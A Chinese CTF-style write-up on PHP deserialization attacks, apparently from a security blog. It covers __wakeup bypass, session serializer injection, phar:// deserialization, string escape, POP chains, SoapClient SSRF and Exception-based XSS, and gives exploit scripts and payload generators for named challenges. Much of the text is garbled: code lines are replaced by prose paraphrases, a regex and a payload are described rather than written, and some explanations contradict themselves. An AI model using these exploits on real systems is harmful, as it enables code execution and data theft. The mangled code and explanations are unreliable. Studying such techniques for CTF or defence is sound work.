PHP反序列化漏洞总结:从CTF到php session的深入探究

因为对 php 反序列漏洞感兴趣,所以写了一篇文章来总结在学习 PHP 反序列化漏洞过程中遇到的要点。在 CTF 中,这种有关的漏洞形式几乎是必定会出现的。
__wakeup()
对应的CVE编号:CVE-2016-7124
demo:
highlight_file(__FILE__);
error_reporting(0);
class convent[id_403649150]
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
可以看到,这里在进行 unserialize 操作时,在__wakeup 方法中会遍历并删除对象的属性,这就导致无法执行 eval 函数,从而造成了代码的执行。然而,在存在该漏洞的 php 版本中,我们能够绕过这个点,进而达到代码执行的效果。
php session 反序列化
要知道 PHP session 的引擎存在差异,这是导致该漏洞的根本原因以及利用条件。
session 的存储机制
php 的 session 中的内容并非存于内存中,而是以文件形式存储。其存储方式由配置项 session.save_handler 来确定,默认情况下是以文件方式存储。
存储的文件是以sess_sessionid来进行命名的
有三种方式
在php.ini 中有如下配置:
设置 session 的存储路径,即 session.save_path="" 。
设定用户自定义存储函数 session.save_handler="" ,若想使用 PHP 内置会话存储机制之外的方式(如数据库等方式),可以使用本函数。
指定会话模块是否在请求开始时启动一个会话,这由 session.auto_start 的布尔值来决定,默认情况下为 0 即不启动。
定义用来序列化/反序列化的处理器名字的是 session.serialize_handler ,其类型为 string ,默认使用 php 。
在 phpstudy 里,session 文件被存放在 extension/tmp/tmp 这个目录当中。
第一种, 默认php格式:
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?>数组中包含一个元素,该元素的名称为"1FonlY"。
查看的 session 文件是:name ,其值为 s:6:"1FonlY" ;
第二种, php_serialize 格式:
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }
a:1 进行序列话时会加上某些东西,同时使用 php_serialize 会对 session 中的 key 和 value 进行序列化,其中 a:1 对应的是 {"name":"1FonlY"} 。
第三种, php_binary格式:
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?>
名字:6 为“1FonlY”;不可显示的是 EOT,名字的长度为 44,在 ASCII 表中对应的就是 EOT。
session 序列化注入漏洞:
当序列化的引擎与反序列化的引擎不相同的时候,就能够借助引擎之间的差异而引发序列化注入漏洞。
首先实例化一个对象,接着把这个对象序列化为 O:7:"_1FonlY",并且这个对象包含一个键值对,键为"s:3:"cmd",值为 N 。
如果传入的是|O:7:"_1FonlY":1:{s:3:"cmd";N;},并且是在使用 php_serialize 引擎的时候
它包含一个键值对,键为 "name",值为 "|O:7:\"_1FonlY\":1:{s:3:\"cmd\";N;}"。
这时,把“a:1:{s:4:"name";s:31:"当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;}”当作键值,然后对这个键值进行反序列化输出,这样就导致了序列化注入攻击。
在之前的高校战疫过程中,这个点已经被考查过了。考查所利用的是由于 php session 的序列化机制存在差异而导致的注入漏洞。
相关题目::32784/
phar 反序列化
安全研究员 Same Thomas 最初在 Black Hat 上分享了一个议题。这个议题是关于 phar 反序列化漏洞的。利用 phar 文件会以序列化形式存储用户自定义 meta-data 这一特性,从而拓展了 php 反序列化漏洞的攻击面。在文件系统函数(如 file_exists()、is_dir()等)的参数可被控制时,与 phar://伪协议相配合,能够无需依赖 unserialize()而直接进行反序列化操作。
关于phar 文件的结构解释网上已经有很多了
这里直接贴代码了, 相信很多师傅都是喜欢看代码
class TestObject {
}
// 生成phar 文件的格式
@unlink("phar.phar");
$o = new TestObject();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这是我生成的一个 exp phar 文件。可以观察到,我们的 payload 是以序列化的方式进行存储的。
[id_202033095]
利用时,使用phar://这个协议即可
伪造phar 文件为其他格式
仅需更改文件头 stub 就行。php 识别 phar 文件依靠其文件头的 stub,更确切地讲是通过__HALT_COMPILER();?>这段代码,对于前面的内容以及后缀名并无要求。如此一来,我们便可借助添加任意文件头并修改后缀名的手段,将 phar 文件伪装成其他格式的文件。
$phar->setStub("GIF89a" . "");
利用条件bypass phar:// 不能出现在首部
这时候我们能够运用 compress.zlib://函数或者 compress.bzip2://函数。并且,compress.zlib://与 compress.bzip2://都适用于 phar://。
payload 是由 compress.zlib:// 和 phar://phar.phar/test.txt 组成的。其中,compress.zlib:// 表示使用 zlib 压缩算法,phar://phar.phar/test.txt 表示一个 Phar 文件中的 test.txt 文件。
Postgresql
创建一个名为 $pdo 的 PDO 对象,通过拼接字符串来设置数据库连接信息,字符串内容为 "pgsql:host=127.0.0.1;dbname=postgres;user=sx;password=123456" 。
$pdo 执行了 pgsqlCopyFromFile 操作,目标是 'aa',源文件是 phar://test.phar/aa
pgsqlCopyToFile 可以被使用,pg_trace 也可以被使用。不过,它们需要开启 phar 的写功能。
MySQL
LOAD DATA LOCAL INFILE 能够触发这个 php_stream_open_wrapper 。
但是需要修改mysqld配置,因为不是默认配置
[mysqld]
local-infile=1
secure_file_priv=""
字符串逃逸
0CTF 2016 piapiapia
读完下载下来的这几个源码后,发现有用的部分仅在 class.php 和 config.php 中。因为唯一存在 flag 字段的内容在 config.php 里面,所以可以确定 flag 一定在 config.php 中。那么现在的目标就是读取 config.php 的内容。
在register.php 中:
存在一个序列化操作,即对 $profile 进行序列化操作,然后通过 $user->update_profile($username, 序列化后的 $profile) 来更新相关内容
在 profile.php 里:有文件操作函数,还有可控的参数 photo。若 photo 是 config.php ,就能够读取到 flag ,并且 photo 的输出是以 base64 的形式呈现的。
$photo 是通过 file_get_contents 函数获取 $profile['photo'] 的内容后,再使用 base64_encode 进行编码得到的;如果 $profile['photo'] 为 config.php ,那么就可以读取到 flag 。
这里的正则把 where(5) 给过滤掉了。要是存在 where 这类字段的话,就用 hacker(6) 去进行替换。
在 update.php 里将数组 profile 进行序列化并储存起来,接着在 profile.php 中进行反序列化操作,而这道题的考点就在于这两个操作中的一个较为细节的地方
在进行反序列化操作即 unserialize()时,会自动将能够正确进行序列化之后的内容忽略掉,也就是构造闭合,进而忽略掉 upload/md5(filename)。
通过抓包去查看数组中元素传递的顺序,发现 nickname 位于 photo 之前。因此可以想办法使 nickname 足够长,从而将 upload 那部分字段“挤出去”。专业术语为反序列化长度变化尾部字符串逃逸。
再来理清一下思路:
这里的字符数为 34 。原来 nickname 中的 where……where……有 170 个字符,加上“;}s:5:"photo";s:10:"config.php";}”后变为 204 个字符,两者相差 34 个字符。由于正则匹配将 where 替换为 hacker ,每替换一个就增加 1 个字符,现在用 34 个 where 就可增加 34 个字符,从而使构造的“;}s:5:"photo";s:10:"config.php";}”起到“;}是为了闭合 nickname 部分的效果。
而后面这部分,单独成为了 photo 的部分,这是因为尾部字符串发生了逃逸,从而达到了相应的效果。
使用数组绕过 nickname[]=
payload:
发包之后,在/profile.php 页面把头像的地址复制下来,然后对其进行 base64decode 操作,就能够得到 flag。
字符串逃逸分为变长和变短这两种情况,其原理大致相同,遇到时需灵活进行处理。
对象逃逸
[安洵杯 2019]easy_serialize_php
这里直接看官方WP吧, 写的比我好, 不再总结了
#toc-3
Pop chain
魔术方法被当作最开始的小组件,接着在魔术方法里调用其他函数(小组件),通过寻找具有相同名字的函数,再将其与类中的敏感函数和属性相联系,这就是 POP CHAIN 。在这种情况下,类中的所有敏感属性都处于可控状态。当 unserialize()传入的参数是可控的时候,就能够通过反序列化漏洞来控制 POP CHAIN,从而达到利用特定漏洞的效果。
通俗来说就是:在反序列化过程中,如果关键代码并非位于魔术方法里,而是处在一个类的普通方法当中。那么此时能够通过去寻找相同的函数名,从而把类的属性与敏感函数的属性关联起来。
一般的序列化攻击会在 PHP 魔术方法里出现可利用的漏洞,因为会自动调用从而触发漏洞。然而,如果关键代码不在魔术方法中,而是在一个类的普通方法里,那么就可以通过构造 POP 链,把类的属性和敏感函数的属性联系起来,具体是寻找相同的函数名来实现。
我的理解是:POP CHAIN 主要体现在类与类之间以及方法与方法之间的调用方面。因为方法的参数是可控的,所以存在危险函数,进而导致了漏洞的出现,实际上这也是在代码逻辑上出现了问题。
编写 Pop 链的 exp 时,类的框架基本上没有变化,只需进行一些改动。
例题: MRCTF 2020 Easy pop
Welcome to index.php
//flag is in flag.php
//WTF IS THIS?
从 https://ctf.ieki.xyz/library/php.html#反序列化魔术方法 进行学习
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match(/gopher 或 http 或 file 或 ftp 或 https 或 dict 或.\., $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这里一共3个类, 故利用起来比较简单, 适合理解
Modifier 类中存在__invoke 魔术方法,当以函数形式调用一个对象时,会触发该函数,接着就会调用 append()函数来进行包含操作。
Show 类中存在__toString 魔术方法,当一个对象被当作字符串来使用时,就会触发这个函数。
Test 类中存在__get 魔术方法,在读取一个无法访问的属性的值时,会触发这个函数。
pop 链逻辑:
exp:
class Modifier
{
protected $var = php 协议的一种特殊资源路径,其中包含了对 flag.php 文件的读取操作并将其内容进行 base64 编码转换;
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "
";
}
public function __toString()
{
return "php serialize";
}
public function __wakeup()
{
$this->source = new Show();
}
}
class Test{
public $p;
public function __construct()
{
$this->p = new Modifier();
}
}
$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo urlencode($pop);
SoapClient + 反序列化 => SSRF
SoapClient 类通过搭配 CRLF 注入能够实现 SSRF。在本地生成 payload 时,需要对 php.ini 中的 ;extension soap 进行修改,即把注释删掉就可以了。
SoapClient 类会调用__call 方法。当执行一个不存在的方法时,这个__call 方法会被调用,进而实现了 ssrf。
生成payload:
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>
LCTF 2018 是 bestphp 的复仇事件。LCTF 2018 有关于 bestphp 的复仇内容可供练习。
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Eustiar
import requests
import re
url 为 "http://c85b635f-1224-4de2-9b64-de9a2adc0d99.node3.buuoj.cn/"
- 还有一个属性名为 "_soap_version",其值为 1。
r = requests.session()
data 中包含了一个名为“serialize_handler”的键,其值为“php_serialize”。
res 等于 r 发送一个 POST 请求,请求的 URL 是 url 加上问号和字符串“?f=session_start&name=”再加上 payload,同时请求的数据是 data
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res 等于 r 发送一个 POST 请求,请求的 URL 是 url 加上“?f=extract”,请求的数据是 data
# 此操作相当于刷新页面
使用 re.findall 函数,在 res.text 中查找所有匹配 "string(26) "(.*?)" 的内容,将其结果赋值给 sessionid 。
cookie 包含一个名为“Cookie”的键,其值为“PHPSESSID=”加上 sessionid[0]
res 是通过 r 获取到的 url 对应的内容,并且使用了 cookie 作为请求头的一部分。
print(res.text)
Exception + 反序列化 => XSS
这是之前在BJD上一道题目学到点, 以前没遇到过,
php 的原生类中的 Error 内置了 toString 方法,可能导致 xss 漏洞;php 的原生类中的 Exception 内置了 toString 方法,也可能导致 xss 漏洞。
当时那个题我没有使用原生类,而是直接通过类似打 cookie 的方式就能够做出来。
$s = $_GET['s'];
echo unserialize($s);
$s = '';
echo serialize($s);
利用原生类:
$s = new Exception("");
echo urlencode(serialize($s));
总结
当然,除了上述的漏洞之外,还能够与 SQL 注入、命令执行等相互结合。然而,其原理都较为相近,在此就不再详细说明。
php 的反序列化漏洞,我认为其实都是一种类型,即格式化字符串漏洞,这种漏洞有点类似 SQL 注入,会改变原有的代码结构从而导致漏洞。
Reference
https://www.cnblogs.com 这个网站上的 iamstudy 所写的文章是关于在 PHP 内部类中进行反序列化的内容,其文章链接为 /iamstudy/articles/unserialize_in_php_inner_class.htmlhttp://blog.ydspoplar.top/2020/03/17PHP 可利用的原生类有很多,比如文件处理类、数据库操作类、网络通信类等,这些原生类在 PHP 开发中有着重要的作用,能够帮助开发者更高效地完成各种任务。https://blog.zsxsoft.com/post/38https://hack-for.fun/posts/20200223/#0CTF-2016-piapiapia
作者:IFONLY,来源:先知社区
---》